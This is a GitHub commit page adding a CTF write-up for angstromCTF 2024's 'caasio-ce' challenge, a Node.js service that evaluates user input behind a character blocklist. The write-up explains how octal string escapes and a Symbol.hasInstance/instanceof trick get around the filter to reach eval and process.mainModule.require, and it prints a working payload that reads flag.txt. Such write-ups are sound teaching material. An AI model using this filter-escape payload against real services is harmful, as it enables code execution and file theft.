Skip to content

Commit

Permalink
Create README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
quasar098 authored May 28, 2024
1 parent 79836ae commit 3c12f79
Showing 1 changed file with 91 additions and 0 deletions.
91 changes: 91 additions & 0 deletions angstromctf-2024/caasio-ce/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
# caasio-ce

## challenge

caasio.js
```js
#!/usr/local/bin/node

const readline = require("readline/promises");
const rl = readline.createInterface({input: process.stdin, output: process.stdout});

console.log("Welcome to CaaSio: Contrived Edition!");
console.log("What \"math\" expression would you like to evaluate?");
rl.question("> ")
.then(inp => {
if (inp.length > 200) {
console.log("That's so much math; what do you think I am, a calculator???");
throw new Error();
}
const banned = new Set(".,:;(){}<>`pxu");
for (const char of inp) {
const c = char.charCodeAt(0);
if (c < 0x20 || c > 0x7e || banned.has(char)) {
console.log("I have arbitrarily deemed your input to not be math.");
throw new Error();
}
}
return inp;
})
.then(inp => console.log(Function("return " + inp)()))
.catch((e) => console.log("Bye!", e))
.finally(() => rl.close());
```

Dockerfile
```dockerfile
FROM pwn.red/jail

COPY --from=node:22-bookworm-slim / /srv
COPY --chmod=755 caasio.js /srv/app/run
COPY flag.txt /srv/app/flag.txt
```

## solution

we cannot call functions, create objects, or create anonymous functions. or can we ? *(vsauce music starts)*

the first thing i noticed about this challenge is that we can get arbitrary strings, even one that have blocked chars, by using octals like `"console\056log\050var\051"` (this is equal to `"console.log(var)"`). so, if we can get eval, we can easily win.

first off, we can call some functions/classes like `Object` with `new Object` because they are constructors.

but, we cannot call eval or anything so easily. to call functions with one argument, we can overwrite the hasInstance attribute (see [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance)) of an object and then use `instanceof` keyword with it

however, to do multiple statements, we can use a weird trick where setting attributes with `=` isnt considered a statement, but rather, an expression (i think).

so, `[a][[b][c]]` will evaluate expression `a`, then expression `b`, then expression `c`, and return `undefined`. this doesn't raise an error because invalid array indicies return undefined instead of throwing errors

we can create an object, modify the Symbol.hasInstance to be eval, and then call eval with our string, but then how do we write the hasInstance attributes without `.` ? because we cannot do `q=new Object` and `q.hasInstance = "test"`

well, object attributes can be set in two ways in js. you can either set it with `obj.attr = val` or with `obj["attr"] = val`

so, we can do `[ q=new Object ][[ q[Symbol.hasInstance] = eval ][ "string" instanceof q ]]`. now we can eval arbitrary strings.

now comes the hardest part of the challenge (imo), which is trying to escape to a shell or something.

if we try to use `require`, we will get that it is undefined. so, my first attempt was to use `process.create_binding` or something to get an internal module which we could use to escape. but that would be too many chars.

however, we can use `process.mainModule.require` and that exists for some reason even though process.mainModule appears as below:

```
Module {
id: '.',
path: '/mnt/c/Users/quasar/Downloads',
exports: {},
filename: '/mnt/c/Users/quasar/Downloads/test.js',
loaded: false,
children: [],
paths: [
'/mnt/c/Users/quasar/Downloads/node_modules',
'/mnt/c/Users/quasar/node_modules',
'/mnt/c/Users/node_modules',
'/mnt/c/node_modules',
'/mnt/node_modules',
'/node_modules'
]
}
```

for some reason, require still exists there idk why

so you can easily just use `[q=new Object][[q[Symbol["hasInstance"]]=eval]["throw process.mainModule.require('fs').readFileSync('flag.txt')" instanceof q]]`, encoding the eval'd string with octals to bypass the restrictions

0 comments on commit 3c12f79

Please sign in to comment.